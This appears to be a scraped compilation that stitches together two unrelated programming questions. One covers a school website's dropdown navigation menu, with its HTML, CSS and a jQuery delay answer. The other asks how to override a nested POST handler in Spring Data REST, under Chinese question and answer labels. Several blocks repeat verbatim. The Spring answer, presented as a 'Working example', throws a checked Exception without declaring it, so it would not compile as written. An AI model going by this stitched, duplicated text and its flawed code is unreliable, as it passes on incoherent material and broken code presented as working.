            Message From the Principal
            Message from the Director
            Governance

        Fees

            Primary Fees
            Secondary Fees
            Admission forms
            Fee Policy

        Academics

            Primary Curriculum
            Lower Secondary Curriculum
            Upper Secondary Curriculum
            Library and ICT Labs
            Staff

         School&nbspLife

            Boarding School

                Extra Curricular Activities

                        Sports
                        Clubs
                        Entertainment

            Students

                    Governance
                    Code of Conduct
                    Alumni

            Field Trips

         Events

         News

            Notices for Parents
            Jobs

         Gallery

            Sports
            Entertainment
            Facilities

         Contact

            FAQ

And the CSS

/*NAVIGATION SECTION*/

  nav {
    margin: 0px;

}

/*Sets the nav bar in a horizontal manner. Hides the pointers for the list and ensures there's no scroll bar*/
nav ul {
    display: flex;
    flex-direction:row;
    margin: 0;
    padding: 0;
    list-style-type: none;
    overflow: hidden;
    border-top: 1px solid #670000;

}

/*Styles each of the individual items in the nav bar list. Adds color and changes their font. Adds a border at the end*/
nav ul li {
    flex-grow: 1;
    font-family: Constantia,"Lucida Bright",Lucidabright,"Lucida Serif",Lucida,"DejaVu Serif","Bitstream Vera Serif","Liberation Serif",Georgia,serif;
    font-size: 15px;
    font-weight: bolder;
    padding: 0;
}

/*Determines how the links inside the navbar will be displayed.Gives them a background color*/
nav ul li a {
    display: block;
    background: #800000;
    height: 40px;
    text-align:center;
    padding: 7px 10px;
    text-transform: uppercase;
    -webkit-transition:  0.45s;
    transition: 0.45s;

}
/*Shows how unvisited links will look*/
nav ul li a:link{
    text-decoration: none;
    color: whitesmoke;
}

/*Changes the color inside visited links*/
nav ul li a:visited {
    color: whitesmoke;
    margin-left: 60px;
    height: 40px;
}
/*Determines what happens when you hover a link*/
 nav ul li a:hover{
    color: black;
    background-color: white;
}

/*Shows what happens a link is active (page you are currently on)*/
nav ul li a.active {
    background-color: indianred;
    color: white;
}

/*Styles what happens when you hover an active link on an active page*/
nav ul li a.active:hover {
    background-color: #990000;
    color: white;
}

/*Dropdown stuff*/
.dropdown-content {
    display: none;
    position: absolute;
    color: black;
    min-width: 160px;
    border-bottom: 0.5px solid deepskyblue;
    box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
    z-index: 1;
}

.subsubmenu {
    display: none;
    position: absolute;
    left: 223px;
    top: 25%;
    color:black;
    min-width: 160px;
    box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
    z-index: 1;
}
 ul li .dropdown-content a:link{
    text-decoration: none;
    color: whitesmoke;
}

 ul li .subsubmenu a:link{
    text-decoration: none;
    color: black;
}

/*Changes the color inside visited links*/
 ul li .dropdown-content a:visited {
    color: whitesmoke;
    margin-left: 60px;
    height: 40px;
}

 ul li .subsubmenu a:visited {
    color: black;
    margin-left: 60px;
    height: 40px;
}

.dropdown-content a {

    padding: 12px 16px;
    text-decoration: none;
    display: block;
    text-align: left;
    font-size: 12px;
    background-color: black;
}

.subsubmenu a{
     padding: 12px 16px;
    text-decoration: none;
    display: block;
    text-align: left;
    font-size: 12px;
    background-color: #f9f9f9;
}
.dropdown-content a:hover {

    background-color: #990000;

}

.subsubmenu a:hover {

    background-color: #990000;

}

/*
.dropdown:hover .dropdown-content {
    display: block;
    color: whitesmoke;
} */

.subdropdown:hover .subsubmenu {
    display: block;
    color: whitesmoke;
}

Body:
$(document).ready(setTimeout(function(){}, 3000)) does not delay .slideDown() call at each event dispatched by .hover(); rather, delays  call of function passed to setTimeout() at .ready() call for 3000.

You can use .delay(). Also call .clearQueue() chained to $(this).children('.dropdown-content') at function passed to second parameter of .hover() to clear the element queue of .slideDown() call at first parameter.

$(document).ready(function() {
  $('.dropdown').hover(
    function() {
      $(this).children('.dropdown-content')
        .delay(1000) // set duration of delay in milliseconds here
        .slideDown(200);
    },
    function() {
      $(this).children('.dropdown-content')
      .clearQueue()
      .slideUp(0);
    })
});

/*NAVIGATION SECTION*/

nav {
  margin: 0px;
}

/*Sets the nav bar in a horizontal manner. Hides the pointers for the list and ensures there's no scroll bar*/

nav ul {
  display: flex;
  flex-direction: row;
  margin: 0;
  padding: 0;
  list-style-type: none;
  overflow: hidden;
  border-top: 1px solid #670000;
}

/*Styles each of the individual items in the nav bar list. Adds color and changes their font. Adds a border at the end*/

nav ul li {
  flex-grow: 1;
  font-family: Constantia, "Lucida Bright", Lucidabright, "Lucida Serif", Lucida, "DejaVu Serif", "Bitstream Vera Serif", "Liberation Serif", Georgia, serif;
  font-size: 15px;
  font-weight: bolder;
  padding: 0;
}

/*Determines how the links inside the navbar will be displayed.Gives them a background color*/

nav ul li a {
  display: block;
  background: #800000;
  height: 40px;
  text-align: center;
  padding: 7px 10px;
  text-transform: uppercase;
  -webkit-transition: 0.45s;
  transition: 0.45s;
}

/*Shows how unvisited links will look*/

nav ul li a:link {
  text-decoration: none;
  color: whitesmoke;
}

/*Changes the color inside visited links*/

nav ul li a:visited {
  color: whitesmoke;
  margin-left: 60px;
  height: 40px;
}

/*Determines what happens when you hover a link*/

nav ul li a:hover {
  color: black;
  background-color: white;
}

/*Shows what happens a link is active (page you are currently on)*/

nav ul li a.active {
  background-color: indianred;
  color: white;
}

/*Styles what happens when you hover an active link on an active page*/

nav ul li a.active:hover {
  background-color: #990000;
  color: white;
}

/*Dropdown stuff*/

.dropdown-content {
  display: none;
  position: absolute;
  color: black;
  min-width: 160px;
  border-bottom: 0.5px solid deepskyblue;
  box-shadow: 0px 8px 16px 0px rgba(0, 0, 0, 0.2);
  z-index: 1;
}

.subsubmenu {
  display: none;
  position: absolute;
  left: 223px;
  top: 25%;
  color: black;
  min-width: 160px;
  box-shadow: 0px 8px 16px 0px rgba(0, 0, 0, 0.2);
  z-index: 1;
}

ul li .dropdown-content a:link {
  text-decoration: none;
  color: whitesmoke;
}

ul li .subsubmenu a:link {
  text-decoration: none;
  color: black;
}

/*Changes the color inside visited links*/

ul li .dropdown-content a:visited {
  color: whitesmoke;
  margin-left: 60px;
  height: 40px;
}

ul li .subsubmenu a:visited {
  color: black;
  margin-left: 60px;
  height: 40px;
}

.dropdown-content a {
  padding: 12px 16px;
  text-decoration: none;
  display: block;
  text-align: left;
  font-size: 12px;
  background-color: black;
}

.subsubmenu a {
  padding: 12px 16px;
  text-decoration: none;
  display: block;
  text-align: left;
  font-size: 12px;
  background-color: #f9f9f9;
}

.dropdown-content a:hover {
  background-color: #990000;
}

.subsubmenu a:hover {
  background-color: #990000;
}

/*
.dropdown:hover .dropdown-content {
    display: block;
    color: whitesmoke;
} */

.subdropdown:hover .subsubmenu {
  display: block;
  color: whitesmoke;
}

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<ul id="menu">

  <li><a href="index.php"> Home </a></li>
  <li class="dropdown">
    <a href="about.php" class="dropbtn">About</a>
    <div class="dropdown-content">
      <a href="background.php">Background And History</a>
      <a href="vision.php">Vision And Mission</a>
      <a href="principalmessage.php">Message From the Principal</a>
      <a href="directormessage.php">Message from the Director</a>
      <a href="governance.php">Governance</a>
    </div>
  </li>
  <li class="dropdown">
    <a href="admission_fees.php" class="dropbtn">Fees</a>
    <div class="dropdown-content">
      <a href="primaryfees.php">Primary Fees</a>
      <a href="secondaryfees.php">Secondary Fees</a>
      <a href="admissionform.php">Admission forms</a>
      <a href="feepolicy.php">Fee Policy</a>
    </div>
  </li>
  <li class="dropdown">
    <a href="academics.php" class="dropbtn">Academics</a>
    <div class="dropdown-content">
      <a href="primary.php">Primary Curriculum</a>
      <a href="lowersecondary.php">Lower Secondary Curriculum</a>
      <a href="uppersecondary.php">Upper Secondary Curriculum</a>
      <a href="library_ICT.php">Library and ICT Labs</a>
      <a href="staff.php">Staff</a>
    </div>
  </li>
  <li class="dropdown">
    <a href=" school_life.php" class="dropbtn"> School&nbspLife </a>
    <div class="dropdown-content">
      <a href="boarding.php">Boarding School</a>
      <div class="subdropdown">
        <a href="extracurricular.php">Extra Curricular Activities</a>
        <div class="subsubmenu">
          <a href="sports.php">Sports</a>
          <a href="clubs.php">Clubs</a>
          <a href="entertainment.php">Entertainment</a>
        </div>
      </div>
      <div class="subdropdown">
        <a href="students.php">Students</a>
        <div class="subsubmenu">
          <a href="studentgovernance.php">Governance</a>
          <a href="schoolrules.php">Code of Conduct</a>
          <a href="alumni.php">Alumni</a>
        </div>
      </div>

      <a href="fieldtrips.php">Field Trips</a>
    </div>
  </li>
  <li>
    <a href=" events.php "> Events </a>
  </li>
  <li class="dropdown">
    <a href=" news.php "> News </a>
    <div class="dropdown-content">
      <a href="notices.php">Notices for Parents</a>
      <a href="jobs.php">Jobs</a>

    </div>
  </li>

  <li class="dropdown">
    <a href=" gallery.php "> Gallery </a>
    <div class="dropdown-content">
      <a href="gallery_sports.php">Sports</a>
      <a href="gallery_entertainment.php">Entertainment</a>
      <a href="gallery_facilities.php">Facilities</a>
    </div>
  </li>
  <li class="dropdown">
    <a href=" contact.php "> Contact </a>
    <div class="dropdown-content">
      <a href="faq.php">FAQ</a>
    </div>
  </li>
  <!--<li><a href="javascript:void(0);" style="font-size:20px;" class="icon" onclick="myFunction()">&#9776;</a></li> -->
</ul>


问:
Spring data rest override nested property POST handler
I have a Spring Data Rest repository

public interface ProjectRepository extends CrudRepository<Project, Integer> {}
```

<p>for the following entity:</p>

<pre class="lang-java prettyprint-override"><code>@javax.persistence.Entity
@Table(name = "project", uniqueConstraints = {@UniqueConstraint(columnNames = {"owner_id", "title"})})
public class Project {

    @Id
    @Column(name = "project_id")
    @GeneratedValue(strategy = GenerationType.AUTO)
    private int id;

    ...

    @ManyToMany(fetch = FetchType.LAZY, cascade = CascadeType.ALL)
    @JoinTable(name = "project_document", joinColumns = {
            @JoinColumn(name = "project_id", nullable = false, updatable = false) },
            inverseJoinColumns = { @JoinColumn(name = "document_id",
                    nullable = false, updatable = false) })
    private Set<Document> documents;

    ...
}
</code>```

I want to override the POST handler of the nested documents collection and am following the recommended approach.

@RepositoryRestController
public class DocumentController {

    @RequestMapping(value = "/projects/{projectId}/documents", method = RequestMethod.POST)
    public Document postDocument(
            final @PathVariable int projectId,
            final @RequestPart("file") MultipartFile documentFile,
            final @RequestPart("description") String description
    ) throws IOException {
        ...
    }
}
```

But when I fire up the nested POST, it still uses the original Spring generated POST handler and throws unsupported media-type error.

When I change @RepositoryRestController to @RestController, the correct POST handler is used, but the Spring generated CRUD methods for documents subresource of project are not exported.

答:
Try something like this:

```<code>@RequiredArgsConstructor
@RepositoryRestController
@RequestMapping("/projects/{id}")
public class ProjectsController {

    private final @NonNull DocumentRepository documentRepository;

    @PostMapping("/documents")
    public ResponseEntity<?> postDocument(@PathVariable("id") Project project, @RequestBody Document document) {
        if (project == null) {
            throw new Exception("Project is not found!");
        }

        if (document == null) {
            throw new Exception("Document is not found");
        }

        Document savedDocument = documentRepository.save(document.setProject(project));
        return new ResponseEntity<>(new Resource<>(savedDocument), CREATED);
    }
}
</code>```

Working example.

Body:
I have a Spring Data Rest repository

public interface ProjectRepository extends CrudRepository<Project, Integer> {}

for the following entity:

@javax.persistence.Entity
@Table(name = "project", uniqueConstraints = {@UniqueConstraint(columnNames = {"owner_id", "title"})})
public class Project {

    @Id
    @Column(name = "project_id")
    @GeneratedValue(strategy = GenerationType.AUTO)
    private int id;

    ...

    @ManyToMany(fetch = FetchType.LAZY, cascade = CascadeType.ALL)
    @JoinTable(name = "project_document", joinColumns = {
            @JoinColumn(name = "project_id", nullable = false, updatable = false) },
            inverseJoinColumns = { @JoinColumn(name = "document_id",
                    nullable = false, updatable = false) })
    private Set<Document> documents;

    ...
}

I want to override the POST handler of the nested documents collection and am following the recommended approach.

@RepositoryRestController
public class DocumentController {

    @RequestMapping(value = "/projects/{projectId}/documents", method = RequestMethod.POST)
    public Document postDocument(
            final @PathVariable int projectId,
            final @RequestPart("file") MultipartFile documentFile,
            final @RequestPart("description") String description
    ) throws IOException {
        ...
    }
}

But when I fire up the nested POST, it still uses the original Spring generated POST handler and throws unsupported media-type error.

When I change @RepositoryRestController to @RestController, the correct POST handler is used, but the Spring generated CRUD methods for documents subresource of project are not exported.

Body:
Try something like this:

@RequiredArgsConstructor
@RepositoryRestController
@RequestMapping("/projects/{id}")
public class ProjectsController {

    private final @NonNull DocumentRepository documentRepository;

    @PostMapping("/documents")
    public ResponseEntity<?> postDocument(@PathVariable("id") Project project, @RequestBody Document document) {
        if (project == null) {
            throw new Exception("Project is not found!");
        }

        if (document == null) {
            throw new Exception("Document is not found");
        }

        Document savedDocument = documentRepository.save(document.setProject(project));
        return new ResponseEntity<>(new Resource<>(savedDocument), CREATED);
    }
}

Working example.